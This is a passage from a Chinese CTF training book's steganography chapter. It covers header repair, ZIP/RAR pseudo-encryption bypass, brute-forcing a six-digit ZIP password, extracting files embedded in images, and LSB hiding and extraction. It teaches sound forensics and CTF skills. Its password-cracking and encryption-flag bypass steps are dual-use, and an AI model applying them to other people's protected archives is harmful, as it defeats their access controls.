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 需要注意的是：有些文件可能有两种或多种头标志。例如，针对PDF文件，表5-1只给出了一种标志，把十六进制数转换为ASCII码就是 %PDF-1。其实，后面还有用于识别PDF文件版本的数值，这些数值可以是ASCII值3～7。例如，%PDF-1.1、%PDF-1.2，一直到 %PDF-1.7，都是PDF文件，只是版本不同。这些标志对用户的影响就是低版本的PDF阅读器不能打开高版本的PDF文件，但高版本的PDF阅读器可以打开低版本的PDF文件。
 
 此外，表5-1中提到的GIF文件和JPG文件都有两种标志头，这些许的不同可能是规范的改变，或者产生这种文件的软件不同，需要向下兼容或兼容其他格式造成的。当然，用于判断文件类型的前几个字节是一样的。
 
 回到本题。从图5-32和表5-1中可以看出，“03 04”是ZIP文件的标志，但缺少前面的“50 4B”两个字节，需要我们手工将这两个字节补上。在添加字节时，可以使用自己喜欢的二进制编辑器，在这里推荐WinHex。
 
 用WinHex将文件打开，光标默认停留在文件开始位置。在文件开始位置单击右键，在弹出的快捷菜单中选择“编辑”→“粘贴零字节”选项，会弹出一个对话框，显示要插入零字节的偏移量并询问要插入多少个零字节，如图5-33所示。
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  图5-33
 
 
 
 因为我们只缺少开头的两个字节，所以在这里填写“2”，单击“确定”按钮。这样，在文件开头就会有2字节的0了，如图5-34所示。
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  图5-34
 
 
 
 但是，0不是我们想要的。单击零字节，此时，我们通过键盘输入什么，零字节就会变成什么。输入“50 4B”，如图5-35所示，然后保存文件（快捷键为“Ctrl+S”）。
 
 尽管文件已经补充完整，但文件没有后缀，系统还是无法调用默认的压缩工具。将后缀设置为“.zip”，文件就可以被系统识别了。笔者使用的操作系统中的默认压缩软件为WinRAR。打开此压缩文件，发现压缩包是有密码的。如果压缩文件是真实的、有密码的文件，就需要从题目描述中寻找线索。但是在本题中，使用WinRAR解压时，输入密码，会弹出一个诊断信息对话框，如图5-36所示。
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  图5-35
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  图5-36
 
 
 
 在正常的加密文件中怎么会有这种情况发生呢？这涉及ZIP文件伪加密这个知识点。修改连续4位字节为“50 4B 01 02”（P K . .）后面的那个字节，为奇数时加密，为偶数时不加密（一般在文件末尾，有多处）。文件修改前和修改后的对比，如图5-37所示。
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  图5-37
 
 
 
 在此过程中不建议手动修改，因为这个标志位在文件中可能有多处。有一个使用Java编写的工具ZipCenOp，可以方便地对ZIP文件进行伪加密和解密，其用法如下。
 
 • 解密命令：java -jar ZipCenOp.jar r xxxx.zip。
 
 • 加密命令：java -jar ZipCenOp.jar e xxxx.zip。
 
 此工具会在ZIP文件中搜索所有诸如“50 4B 01 02”（P K . .）形式的字节，然后更改其后面那一位的值，进行伪加密和解密。
 
 使用此工具对本题的文件进行解密，ZIP文件就可以正常解压了。将其中名称为“1”的文件解压，发现又是一个Windows无法识别的文件。
 
 仍然按照以上步骤对该文件进行操作：使用WinHex打开文件，发现文件头的前4个字节为“2D 31 2E 33”；通过查阅相关资料可知，这是PDF文件的头标志，但前面缺少字节“25 50 44 46”；按照前面介绍的向ZIP文件添加字节的方式，向此文件的头部添加字节。
 
 添加字节后，将文件后缀改为“.pdf”，使用PDF阅读器将其打开，如图5-38所示。
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  图5-38
 
 
 
 刚看到这个界面时，相信大部分人的脑子都是懵的——这需要我们对PDF文档的格式有所了解。能正常查看PDF文档，并不意味着能像在Word这样的软件中一样复制PDF文档中的内容。PDF文档的表现层和内容层是相对独立的。使用常见字体生成的PDF文档，因为字体可以被解释器识别，所以可以正常进行复制和检索。但是，如果PDF文档是使用非常见字体制作和输出的，那么所复制的内容就会变成乱码（要想复制这部分内容，只借助OCR进行识别）。
 
 有些时候，PDF文件的表现层是图片，为什么我们也可以在其中搜索文字呢？这是因为，通过OCR识别后，同样可以进行内容的检索和复制。
 
 回到本题，虽然PDF文件展示出“在我下面”这个提示，但还是不容易入手。如果读者有使用Photoshop制作图片的经历，就应该了解图层（形象地讲，图层就是将多张含有文字或图形等元素的“胶片”按顺序叠放，然后组合，形成页面的最终效果）的概念。结合“在我下面”这个提示，就很容易理解了：如果在题目给出的PDF文件的此图层下面还有一个图层，那么我们在PDF阅读器中是无法看到其内容的。将此PDF文件用Photoshop打开，如图5-39所示。
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  图5-39
 
 
 
 到这里大家应该明白了，其实在第一层的下面还有一个图层，它被第一层遮挡了。答案很明确了：就是下面那个图层的文字内容“key:dGhpc2lzYWJhc2U2NHN0cmluZw”。如果读者接触过Base64编码，可以轻松地看出，这就是Base64编码。
 
 Base64编码都是按字符串长度，以每3个8位字符为一组构成的。针对每个组，首先获取每个字符的ASCII编码，然后将ASCII编码转换成8位的二进制值，得到一组3×8=24位的字节。将这24位划分为4个6位的字节，并在每个6位的字节前面填写两个高位0，得到4个8位的字节。最后，将这4个8位的字节转换成十进制值，对照Base64编码表，得到编码后的字符，如图5-40所示。
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  图5-40
 
 
 
 • 由于被编码字符是8位的，所以其必须在ASCII编码范围内（\u0000～\u00ff），不能使用中文。
 
 • 如果被编码字符的长度不是3的倍数，就都用0代替，对应的输出字符为“=”。也就是说，被编码的字符数一定是3的倍数。如图5-40所示，3个被编码的字符对应于4个Base64字符，因此，编码后的Base64字符数一定是4的倍数。
 
 网上已经有人写出了Base64编码转换程序，也有很多在线转换网站，就不需要我们查看Base64编码表并逐一进行转换了。笔者使用的工具是Converter。将以上Base64字符串复制到原始值输入框中，单击“Base64 to Text”按钮，可得到字符串“thisisabase64strin”。
 
 尽管可以准确地完成转换，但怎么看这个“翻译”过来的字符串后面都好像缺少一个字符“g”。如果读者认真阅读了以上内容，就会发现，此Base64字符串共有26个字符，不是4的倍数，因此，空位需要用“=”填充至4的倍数，也就是28。在以上Base64编码后添加两个“=”，再进行转码，就得到了“thisisabase64string”——这就是最终的flag。
 
 相关知识点
 
 （1）RAR文件的伪加密
 
 在本节的“解体思路”部分谈到了ZIP的伪加密，下面介绍一下RAR的伪加密。
 
 在RAR文件中，如果文件头偏移0x17处的字节的低4位为4，就是RAR文件的伪加密，将4改为0即可解密。
 
 例如，使用WinRAR打开一个RAR伪加密文件，会给出提示，如图5-42所示。
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  图5-42
 
 
 
 从弹出的诊断信息对话框中可以看出，key.docx是加密文件，如果要将其解压，就需要输入密码。此时，文件偏移0x17处的字节，如图5-43所示。
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  图5-43
 
 
 
 可以看出，低4位为4。现在将其改为0，即可正常解压。修改后，文件名后面的星号不见了，如图5-44所示。
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  图5-44
 
 
 
 （2）Base16和Base32
 
 一个ASCII字符有8位，具体如下。
 
 • Base64按照6位一组进行分割，前两位补0。
 
 • Base32按照5位一组进行分割，前三位补0。
 
 • Base16按照4位一组进行分割，前四位补0。
 
 根据以上规则进行分割后，按照各自的编码表进行转换即可。
 
 这3种编码有一些特性，列举如下。
 
 • Base64编码包含的字符为A～Z、a～z、0～9、+、/，共64个。
 
 • Base32编码包含26个大写字母和数字2～7，共32个字符。
 
 • Base16编码包含16个十六进制大写数字。
 
 这3种编码都是因其所包含的字符数而得名的。如果Base64和Base32的被编码字符数不足，就会在末尾填0，转换后就成为“=”，这样就很容易分辨了。如果出题人刻意将末位的“=”去掉，尽管有时候不影响字符转换，但答案是错的。所以，在遇到此种编码时，千万不要忽略末尾的“=”。
 
 （3）可以保存图层的文件
 
 下面讨论一下什么样的文件可以保存图层。
 
 通常我们会使用Photoshop创建一个图片文件，然后在其中创建多个图层，并将其保存成某种格式。然而，并非所有格式都能将图层保存下来——尽管Photoshop支持多种图片格式，但只有保存成TIFF和PDF格式，才能将图层信息保存下来。
 
 题目3　文字隐身
 
 题目概述
 
 题目给出了一个ZIP压缩文件。打开文件，发现需要解压密码。题目给出的提示为“小明的银行卡密码”。
 
 解题思路
 
 首先考虑伪加密。尝试使用ZipCenOp解密，发现没有作用，所以此题目不是伪加密题目。题目提示为“小明的银行卡密码”，笔者在一开始以为这是一个“梗”，于是借助搜索引擎进行搜索，但没有发现有用的信息。
 
 在某个时刻，笔者突然明白了提示的意思——银行卡密码是6位数字，全部组合有106种。对于手工尝试，这几乎是一个不可能完成的任务，但对于计算机，这是小菜一碟。于是，笔者从工具包中找出了ZIP密码破解工具Ziperello。
 
 打开Ziperello，加载doc.zip文件，勾选压缩包中的key.docx，如图4-45所示。
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  图5-45
 
 
 
 单击“NEXT”按钮，选择破解方式。Ziperello有暴力破解、字典破解、基于模板破解3种方式。如图5-46所示，因为我们只需要破解6位数字密码，所以选择暴力破解方式。接下来，需要构造暴力破解字符集。选择数字密码（0～9），设置最小密码长度6位，最大密码长度6位，起始密码“000000”，如图5-47所示。
 
 单击“NEXT”按钮，然后单击“开始”按钮，就可以破解密码了，如图5-48所示。
 
 使用破解得到的密码解压题目给出的压缩文件，然后将其中的DOCX文件提取出来。文件的内容很简单，是一首诗，如图5-49所示。除了这首诗，没有其他文字内容。
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  图5-46
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  图5-47
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  图5-48
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  图5-49
 
 
 
 这里用到了文档隐藏文字的功能。这个方法在Word和WPS中都能使用。按“Ctrl+A”快捷键，全选文档中的文字，然后单击右键，在弹出的快捷菜单中选择“字体”选项，打开“字体”对话框。
 
 在打开“字体”对话框时，“隐藏”复选框默认处于勾选状态。如图5-50所示，将其勾选取消，就能看到被隐藏的文字“ORUGS43JONQWEYLTMUZTE43UOJUW4ZY”了。
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  图5-50
 
 
 
 看到这串字符，我们不能再一头雾水了。因为在本章“题目2”的“相关知识点”部分提到过，包含26个大写字母和数字2～7的编码是Base32编码，所以，现在只要找到可以解码Base32编码的工具即可。
 
 如果不想使用别人的工具，自己编写一个也是很简单的。Python中的Base64模块可以方便地对字符串进行Base64、Base32、Base16编码和解码。通过以下Python代码就可以将字符串“ORUGS43JONQWEYLTMUZTE43UOJUW4ZY”解码。
 
 
  [image: ]
 
 
 如果直接运行以上代码，会报告如下错误。
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 这是因为需要解码的字符串的长度不符合要求，即后面缺少“=”，只要补齐就可以解码了。但是，要补几个“=”呢？那就要了解一下Base32的编码原理。
 
 如果要将一个正常的字符串转换为Base32编码，就需要将这个字符串的每一位都转换为二进制形式，然后以5个位为一组进行分割，在其前面补3个0（凑成8位），最后对分割后的每个组进行编码，从而得到一个可见字符。所以，有“5(字符)->8(base32)”这样的公式。如果要编码的字符位数不是5的倍数，就会自动在其末尾填0（转换后为“=”）。如果原始字符的位数是5的倍数，那么转换后的Base32编码就一定是8的倍数。
 
 本题给出的经过Base32编码的字符，长度是31位，不是8的倍数，所以会报告上面的错误。在其后面添加一个“=”即可解码。解码后的字符串为“thisisabase32string”。
 
 小结
 
 除了文档文件，PDF文件也有类似的题目。如果PDF文件每一页的背景色都是白色，就可以将需要隐藏的文字设置为白色。这样，其他人拿到此PDF文件后，就无法查看与背景颜色相同的文字了。如果要查看这些文字，需要先选中“可疑”区域，再将背景色设置为白色以外的颜色。
 
 旧版本的Office文档是纯二进制格式的，而Office 2007从整体上将文档改成基于XML格式的了。这并不是说Office 2007文档可以保存成XML格式的文档，而是说Office 2007默认的文档格式就是XML（Word的DOCX、Excel的XLSX等）。DOCX文件本质上是一个ZIP文件，里面有一系列XML文件、目录和其他文件。如果我们将DOCX文件改成ZIP文件，就可以使用WinZIP等软件将其解压。
 
 在CTF比赛中，如果遇到DOCX文件和XLSX文件，可以考虑用压缩软件将其打开，然后找出其中可能隐藏的信息。例如，隐藏在XLSX文件中的flag文件，如图5-51所示。
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  图5-51
 
 
 
 题目4　不是一个人在战斗
 
 题目概况
 
 题目的标题为“不是一个人在战斗”。题目提供了一幅名为“pic.jpg”的图片。这幅图片可以正常打开，如图5-52所示。
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  图5-52
 
 
 
 解题思路
 
 题目给出的图片中有一个卡通图案和两行汉字“你若想得到这世界最好的东西”“先得让世界看到最好的你”。从表面看，没有可疑的地方。因为题目的标题为“不是一个人在战斗”，所以，要考虑一下文件里是否有其他文件。
 
 使用WinHex加载图片，发现文件开头两个字节是“FF D8”——这是JPG文件头。需要说明的是，JPG文件的结尾标志是“FF D9”。既然我们怀疑这幅图片中包含其他文件，就需要用WinHex查看文件结尾的字节是否为“FF D9”。果然，文件结尾并不是JPG文件的正常结束标志。此时，有两种方法可以提取这个图片文件所包含的文件。
 
 一种方法是在WinHex中搜索JPG文件的结束标志“FF D9”。可能会找到很多这样的组合，这时就要依靠经验了。如果“FF D9”后紧跟着一个我们比较熟悉的文件头标志，那么我们就找到了JPG文件的结尾和想要提取的文件的开头。对该文件使用WinHex的“搜索”→“查找十六进制数值”选项，然后在弹出的对话框中输入“FFD9”（中间不要空格），即可找到可疑偏移位置0x00032240。它后面跟着ZIP文件头标志“50 4B”，如图5-53所示。
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  图5-53
 
 
 
 提取“FF D9”后面的所有数据，将其保存成一个新的文件，并将其文件后缀设置为“.zip”。具体操作步骤是：在“FF D9”后的“50”处单击右键，在弹出的快捷菜单中选择“选块开始”选项，然后将进度条拖到文件末尾，在最后一个字节上单击右键，在弹出的快捷菜单中选择“选块结束”选项，此时，中间的所有字节都将被选中且颜色将发生变化；在变色的字节上单击右键，在弹出的快捷菜单中选择“编辑”→“复制选块”→“置入新文件”选项，在弹出的“另存为”对话框中设置文件保存位置和文件名（文件后缀为“.zip”）。
 
 另一种方法是使用Linux中的工具binwalk。binwalk是谷歌的一款开源工具，可以在一个给定的二进制文件中搜索其中所包含的文件，并提供了一系列文件标志搜索功能，例如常见的压缩文件、图像文件等。Kali 2自带binwalk。如果读者使用的Linux发行版中没有此工具，可以使用命令“ubuntu:sudo apt-get install binwalk”进行安装。
 
 binwalk使用方便，在终端输入命令“binwalk pic.jpg”，会有如下输出。
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 binwalk已经给出了提示，在其后面有通过ZIP压缩的数据。所以，接下来需要将被压缩的数据提取出来。在Linux中，有以下3种提取方法。
 
 • 使用dd命令“dd if=pic.jpg of=out.zip bs=1 skip=32246”提取。dd是Linux/UNIX中一个非常好用的命令，其作用是使用指定大小的块复制一个文件。在这里不详细讲解Linux命令，只介绍其中几个参数的功能：if=pic.jpg用于指定输入文件；of=out.zip用于指定输出文件；bs=1表示读文件和写文件的字节大小；skip=32246表示从binwalk的输出中知道的通过ZIP压缩的数据相对于文件起始位置的偏移量。执行此命令，即可提取ZIP文件out.zip并正常打开它。
 
 • 使用binwalk自带的命令“binwalk -e pic.jpg”提取。binwalk旨在协助安全研究人员对固件进行分析、提取，并提供其他逆向工程方面的功能，所以，它自然支持文件提取命令。-e的作用是自动从已知类型的文件中进行提取。执行此命令后，会在当前路径中生成文件夹_pic.jpg.extracted。此文件夹中有两个文件，分别是7DF6.zip和gif.gif。7DF6.zip和使用dd命令提取的out.zip是一样的。gif.gif是存在于7DF6.zip中的压缩文件（省去了解压文件的步骤）。
 
 • 使用Linux工具foremost提取。foremost是一个基于文件头和文件尾信息及文件内置数据结构来恢复文件的命令行工具。在这里，我们使用它来分离文件。方法很简单：直接执行“foremost pic.jpg”命令，会在当前路径中生成一个名为“output”的文件夹；在此文件夹中，会按照提取文件的类型创建子文件夹，如图5-54所示。
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  图5-54
 
 
 
 jpg文件夹中存储的是本题的宿主JPG文件。zip文件夹中存储的是与采用以上两种方式提取的ZIP文件相同的文件。
 
 现在，可以进行下一步操作了。将压缩文件中的gif.gif解压，但文件无法正常打开。使用WinHex加载此GIF文件，查找常见文件头标志。我们知道，GIF文件是以“47 49 46 38 39 61”开头的，但是此GIF文件却是以“39 61”开头的，所以问题明确了：文件头缺少4字节的数据，因此无法打开。前面已经介绍过如何在文件头部添加字节，这里不再重复。
 
 添加“47 49 46 38”4字节后，文件就可以正常打开了。这是一个动画文件，每帧图片大致相同，仅有一个区域会发生变化。如图5-55所示，用椭圆形框标出的区域显示的文字会发生变化，且每次变化的时间非常短，根本无法直接记录。我们知道，GIF图片其实就是将多幅图片组合起来展示，每动一次就显示一幅图片，所以，只要找到能够逐帧查看GIF图片的工具，就可以将其中的文字记录下来了。
 
  
  [image: ] 
  图5-55
 
 
 
 在解答本题时，笔者使用了隐写工具Stegsolve。由于Stegsolve是用Java语言编写的，所以使用时要确保系统中已经安装了Java环境。使用Stegsolve加载GIF图片，可以看到其中的一幅图片。然后，选择“Analyse”→“Frame Browser”选项，会弹出一个窗口，在此窗口的左上角会显示当前加载的GIF图片一共有多少帧，如图5-56所示。单击窗口下方的“>”按钮，即可翻页查看每一帧图片。
 
  
  [image: ] 
  图5-56
 
 
 
 我们也可以使用Ulead查看GIF图片。该工具不仅能逐帧显示GIF图片，还能制作GIF图片。使用Ulead加载GIF图片，如图5-57所示。
 
  
  [image: ] 
  图5-57
 
 
 
 使用以上两种方法都能够查看GIF图片中的所有帧。手工将其中的字符记录下来，为“PASSWORD is VENURntwbGVBc2VfaEF2ZV9BX25pY2VfZEF5fQ==”。显然，这些字符是经过编码的。可以看出，字符范围是0～9、a～z、A～Z，结尾还有“=”，所以，可以判断是Base64编码。使用Base64转换工具（如果不想使用本地软件，也可以使用在线工具）Converter进行转换，得到“TCTF {pleAse_hAve_A_nice_dAy}”，这就是本题的flag。
 
 小结
 
 图片文件中包含一个ZIP文件，为何图片还可以正常打开？在这里介绍一下这种文件是如何生成的。
 
 要想将一个ZIP文件隐藏在一个JPG文件中，需要准备这两种文件各一个（例如1.jpg和2.zip），并将它们放在同一目录下。在Windows中，打开cmd窗口，切换到存储这两个文件的文件夹，执行“copy /b 1.jpg+2.zip output.jpg”命令，将这两个文件以二进制方式连接起来。此时，就会在存储这两个文件的文件夹下生成新文件output.jpg。
 
 我们已经知道，JPG文件的结尾字符是“FF D9”，而图片查看器会忽略JPG文件结尾字符之后的内容，所以，附加的ZIP文件的字符不会影响图片的正常显示。由于利用这种方法可以将多个文件合并，所以，在使用WinHex或dd命令提取文件时，一定要仔细搜索与文件头和文件尾相关的字符，或者认真分析binwalk输出的内容。
 
 本题将不同的字符放在GIF图片的不同的帧中，切换速度是0.5秒/帧，所以，我们可以用肉眼观察到画面的切换。但话说回来，使用GIF图片的目的就制作动画，否则，图片种类那么多，为什么要用GIF？在CTF比赛中，出题人可能会将帧的切换速度设置得非常快——快到选手察觉不到画面的切换——然后，将有用的信息放在某些帧的某些位置。所以，在遇到GIF文件时，应该逐帧查看。
 
 隐写术常与加密或编码技术结合在一起出题，因此，对一些常见的加密和编码方法也要有所了解，例如通过密文的字符范围和长度判断所使用的加密方式或编码方式。在CTF比赛中，经常需要使用Linux下的工具，所以，多掌握Linux的相关知识会对解题有所帮助。但是，由于Liunx下的很多工具都是基于命令行的，所以，一直使用Windows的读者马上转换到Liunx可能不太现实，需要通过练习尽快上手。
 
 题目5　到处都是广告
 
 题目概述
 
 大街上到处都是“扫一扫”就送礼物的广告。没想到，广告已经做到CTF比赛中了，看你扫还是不不扫。
 
 题目提供了一幅PNG格式的图片，如图5-58所示。
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  图5-58
 
 
 
 解题思路
 
 打开图片，颇有些《黑客帝国》的味道——就是屏幕上滚动着二进制数据的感觉。图片尺寸为1920像素×1080像素。仔细观察就会发现，图片右侧有一个正方形的图案，与图片格格不入。
 
 将图片放大，看看这个图案到底是什么，如图5-59所示。
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  图5-59
 
 
 
 好像是一个二维码，但颜色和背景融合了大部分，很难确定，也无法用手机或计算机中的二维码软件进行扫描。这可怎么办呢?
 
 遇到图片，当然要请出图片处理专家Photoshop了。使用Photoshop加载图片，单击“图像”→“调整”→“曝光度”选项，就可以使图片变得清晰了。在“曝光度”对话框中将曝光度调高，将位移调低，将灰度系数校正调低，如图5-60所示。
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  图5-60
 
 
 
 这里所给的系数不是唯一的，可能调节其他参数也能使图片变得清晰，所以，这里的设置只作为参考。
 
 经过处理，可以确定这个与图片格格不入的图案是一个二维码。要想知道此二维码表示的具体内容，需要借助一些工具。
 
 • 使用手机软件扫描。例如，微信的“扫一扫”功能。
 
 • 使用计算机软件扫描。例如，二维码大师既可以扫描二维码，也可以制作二维码。
 
 • 使用在线工具扫描。例如，草料二维码可以生成和扫描二维码。
 
 使用计算机软件和在线工具扫描二维码时，都需要提供二维码文件。但是，本题给出的图片尺寸太大，使用这些软件无法精确定位二维码，所以，在扫描前需要使用截图工具将二维码区域截取下来，保存成单独的文件。这样，不管是使用计算机软件载入，还是将图片上传到在线工具中，都能精确地扫描二维码了。
 
 二维码中的数据如下。
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 这是十六进制数据，从字面看无法得到任何信息。将这些数据放到WinHex中，具体过程如下。
 
 ①在WinHex中创建一个文件，将其大小设置为1字节。
 
 ②将二维码中的十六进制数据复制，然后粘贴到刚刚创建的文件中，设置剪切板格式为ASCII Hex。
 
 ③由于创建文件时已经有1字节的数据放在文件的起始位置了，而粘贴的数据都在这个字节之后，所以，需要将文件起始位置的1字节数据删除。选中第一个字节中的“00”，按“Delete”键，即可将其删除，如图5-61所示。
 
 现在，还是看不出所以然。不过，在文件中可以看到“test.pyt”等字样。通过搜索文件头标志可以很容易地知道，这是一个pyc文件。pyc文件是编译Python程序后得到的字节码文件（py→pyc），无法直接阅读，需要将其反编译成py文件才能阅读。
 
 将此文件保存，其后缀为“.pyc”。具体的反汇编过程就不在这里赘述了，读者可以参考本书第2章有关Python逆向的内容。
 
 反编译得到的py文件，具体如下。
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  图5-61
 
 
 
 可以看出，flag()函数用于将链表中的十六进制值转换为字符，所以，需要在Python环境中调用该函数。最终的flag为“AlphaLab”。
 
 相关知识点
 
 二维码是由特定的几何图形构成的。二维码按照一定的规律在平面（二维方向）上放置黑白相间的图形，以记录数据信息。在代码编制方面，二维码巧妙地利用构成计算机内部逻辑基础的0、1比特流的概念，使用若干与二进制相对应的几何图形来表示文字、数值等信息。二维码是一个多行、连续、长度可变、包含大量数据的符号标识，每一行都有起始部分、数据部分、终止部分。二维码的字符集包括全部128个字符，最多能包含1850个字符的数据。
 
 在二维码快速普及的今天，出现了二维码的变种——活码。静态二维码的内容是固定的，是根据准备好的数据生成的，一旦发布，内容就不能更改了。活码在理论上是一个网址，该网址的内容可以随时变化，并可以放置图片、视频、音频等多媒体内容。相比较而言，活码的可扩展性和灵活性比静态二维码强。
 
 小结
 
 在CTF比赛中，隐写题目通常会运用各种手段来隐藏信息。在本题中，二维码的透明度只有10%，初看图片时很容易将其忽略。所以，在拿到以图片为素材的隐写题目时，需要从多个方面查看图片的内容。
 
 然而，有些题目即使告诉我们信息就在图片所展示的内容中，我们还是看不出来——请看下一道题。
 
 题目6　最低位的艺术
 
 题目概况
 
 题目提供了一幅BMP格式的图片，标题为“最低位的艺术”。如图5-62所示，图片上的中文信息为“你一直是如此地令我着迷”。
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  图5-62
 
 
 
 解题思路
 
 使用前面介绍的方法，在题目提供的图片文件中没有发现隐藏的文件或图层，在十六进制数据中也没有发现可用的信息。通过题目的标题“最低位的艺术”，可以联想到图片隐写的一种经典方法——LSB（最低有效位隐藏法）。
 
 LSB主要用于把信息隐藏到图片类媒体文件中。图像是由一个个像素组成的，每个像素又是由R（红）、G（绿）、B（蓝）三个分量组成的，每个分量都是一个8位二进数。LSB算法能够把信息按位替换成这三个分量或其中一个分量的最低1位或多位，使图像的视觉效果不会发生特别大的改变。
 
 了解了LSB的相关知识后，我们的目标就很明确了：将此图片的颜色的最低位信息提取出来。
 
 StegSolve不仅提供了查看RGB分量的功能，而且可以将每个分量的不同位展示出来。使用StegSolve加载图片，可以看到，其主界面下方有个两个按钮，分别用于向左和向右查看不同分量的不同位的图像。我们朝一个方向连续单击按钮，看看是否会有“惊喜”出现。
 
 “Red plane 1”界面，如图5-63所示。“Red plane 0”界面，如图5-64所示——惊喜出现了。
 
 是不是很容易就得到了答案？不必太过兴奋，因为本题是LSB隐写题目中最简单的。要想了解更多关于LSB的内容，请阅读本题“相关知识点”部分。
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  图5-63
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  图5-64
 
 
 
 相关知识点
 
 图片从视觉角度是由众多像素点组成的。同时，图片是计算机中的二进制数据文件。实际上，图片中的每个像素都会根据图片的情况在文件中占据相应的字节。通常，图片的颜色是多少位，就占据多少字节。例如，24位颜色的图片，其每个像素为24位，也就是3字节，分别用于表示R（红）、G（绿）、B（蓝）三个分量，也就是说，每个分量都是一个8位二进制数。
 
 我们知道，8位二进制数能够表示的最大十进制数是255。在RGB色彩模式中，255表示相应的分量颜色最深。8位二进制数的最高位（转换为十进制数是128）对颜色深浅的贡献最大；最低位（转换为十进制数是1）对颜色深浅的贡献最小，故称为最低比特位，也称为最低有效位（Least Significant Bit，LSB）。这就是LSB的由来。
 
 LSB的原理就是将图片中指定的或所有像素点的每个字节的最低位提取出来，并按照预设顺序排列，使其组成一个新的数据信息。这个数据信息，也是通过这一方法隐藏在图片中的。
 
 回到本题，如何将文字藏在原始图片的R分量的最低位中？如果想“知其所以然”，就请往下看。
 
 准备一幅原始图片，用于后续将信息写入（本题并没有将文字直接写入R分量的最低位，而是将一幅包含文字信息的图片写入）。因为只有R分量的最低位可以利用，而一个比特位只有0和1两种状态，所以，一幅黑白图片只有两种状态，不是黑色就是白色——这恰好可以为我们所用。
 
 利用Photoshop等画图工具，准备一幅和原始图片大小相同、颜色模式为1位的位图（以下称为“隐藏图片”，在CTF比赛中就是flag图片），背景颜色可以任意设置，只要文字和背景是反差色即可，如图5-65所示。
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  图5-65
 
 
 
 接下来，将原始图片和隐藏图片合并。这需要通过编写代码实现（在编写代码时，需要使用Python的PIL库），具体如下。
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 以上代码的逻辑是：遍历图片中的像素点，判断隐藏图片中每个像素点的值是否为1；如果为1，就是黑色（文字）部分，将原始图片中对应像素点的R分量的最低位置0；如果为0，就将原始图片中对应像素点的R分量的最低位置1。这里就会有一个疑问：为什么隐藏图片中黑色像素点的值为1，而要设置的R分量的最低位为0呢？这与两幅图片的差别有关：在1位位图中，数值1代表黑色；在24位位图中，数值0代表黑色（所以，在以上操作中需要将R分量置0）。处理完成后，隐藏图片中所有值为1的像素点，就将原始图片中对应像素点的R分量的最低位置0了。此时，使用StegSolve查看R分量的最低位，就可以看到这幅1位位图的内容了。
 
 可能有些读者会问：除了制作一幅和原始图片大小相同的隐藏图片，难道我想插入一幅小一点的图片，也要先将图片变大吗？当然不用！不过，由于仅能存储最低位，所以隐藏图片文件只能是1位位图。下面介绍如何将小于原始图片尺寸的图片隐藏起来。
 
 找一幅8位灰度图片，再准备一幅隐藏图片。要想将两者合并，还是要用Python来编码，具体如下。
 
 
  [image: ]
 
 
 在本例中没有获取RGB值，原因是原始图片是8位灰度图片，只需要用1字节表示1个像素点的值。这样，循环遍历像素就不能以原始图片为基准了。由于原始图片比隐藏图片大，所以，只需要遍历隐藏图片的像素，然后将其中的黑白像素点输入原始图片即可。
 
 通过以上程序进行合并，可以得到一幅合成图片。合成图片和原始图片用肉眼看没有区别，这里就不再展示了。
 
 介绍了如何制作图片，还要说一下如何获取合成图片中隐藏的二维码。也许有读者会说：还用StegSolve查看不就行了吗？如果可以，笔者就不需要在这里重复了。虽然使用StegSolve可以提取24位RGB图片中的隐藏信息，但对于8位的灰度图片，StegSolve是不适用的。要想提取合成图片中的二维码，还是需要通过编码实现，代码如下。
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 以上程序可以根据图片中像素点最低位的值来判断提取后展示出来的颜色是黑色还是白色。程序运行后，会自动调用系统中的相关程序来显示图片，如图5-66所示。
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  图5-66
 
 
 
 以上介绍了两种存储图片的方法。在CTF比赛中，也出现了很多这样的题目。例如，在HackYou CTF中有一道题，给出了一幅图片，如图5-67所示。在图片中有很多非常小的“flag”等单词，但用肉眼无法看清。
 
 这道题使用LSB将字符串隐藏在最低位中。使用StegSolve将图片载入，然后依次单击“Analyse”→“Date Extract”→“Red 0”→“Preview”选项，如图5-68所示。
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  图5-67
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  图5-68
 
 
 
 是否可以将“CTF{AlphaLab}”存储到一幅图片中？应该如何操作呢？既然在存储图片时是按照二进制位进行隐写的，那么字符串可以转换成二进制形式，所以，自然可以将“CTF{AlphaLab}”存储到一幅图片中，且操作方式与隐藏图片的方式类似。
 
 准备一幅300像素×200像素的BMP图片，然后编写代码，具体如下。
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 经过以上操作，已经将字符串写入图片的B分量的最低位了。此时，用肉眼看图片，没有任何变化，如图5-69所示。
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  图5-69
 
 
 
 然后，使用StegSolve读取B分量的最低位，如图5-70所示。
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  图5-70
 
 
 
 小结
 
 本节讨论的题目是最简单的LSB题目，其难度低于基于算法的LSB隐写题目。如果读者不了解隐藏数据时的计算过程，那么提取数据就比较困难了。此外，本节介绍的隐藏方法主要利用对图片显示影响最小的最低位来隐藏信息，但事实上，倒数第二位对图片显示的影响也不大，如果出题人将信息写在R通道的最低位、G通道的倒数第二位、B通道的最低位，我们也可以通过细心和耐心将信息提取出来。
 
 为什么不使用JPEG或其他格式的图片进行隐写呢？在本节讨论的题目中，利用LSB进行隐写的图片都是BMP格式的，但常见的图片格式还有很多。其实，利用其他格式的图片进行信息隐写也是可以的，只不过隐写不是通过利用最低有效位这种方法实现的。
 
 通过LSB相关知识可知，需要先将隐藏的信息转换成二进制形式，再存储到图像中每个像素点的最低位。然而，在BMP文件中，像素点无需特殊处理，是原封不动存储的，所以，通过编写代码可以轻松地将每个像素点的值取出、更改、再保存。JPEG是一种有损压缩格式，能够将图像压缩在很小的储存空间内，图像中重复的或不重要的信息将被丢弃，容易造成图像数据的“损伤”，我们也就无法提取每个像素点的值，更无法将信息存储其中了。除了JPEG图片不能应用LSB，其他经过有损压缩处理的图片也不能应用LSB。
 
 相信有读者会问：哪些常见的图片可以应用LBS呢？除了BMP图片，PNG图片也可以应用LSB。虽然PNG图片是经过压缩处理的，但其压缩是无损压缩，不影响我们取出其中的像素点。
 
 Lurk、Gozi Neverquest、Stegoloader、Feederbot、PlugX这些恶意软件有些读者可能没有听说过。它们有一个共同点——利用LSB隐藏信息和提取信息。以Lurk系列软件为例，这是第一个被安全研究人员发现并记录的恶意软件家族，主要用于下载其他恶意软件并发送到目标机器，导致目标机器感染病毒。在大多数情况下，Lurk下载的是一些点击欺诈型恶意软件。Lurk恶意软件家族使用LSB隐藏其用于获取下载内容表单的URL，而不是直接从数据段中取出URL并使用。具体地，先通过常规方式正常下载一幅BMP格式的图片，再使用LSB方法从图片中提取目标URL。
 
 题目7　ISG图片隐写
 
 题目概况
 
 本题给出了一幅PNG格式的图片，如图5-71所示。
 
 解题思路
 
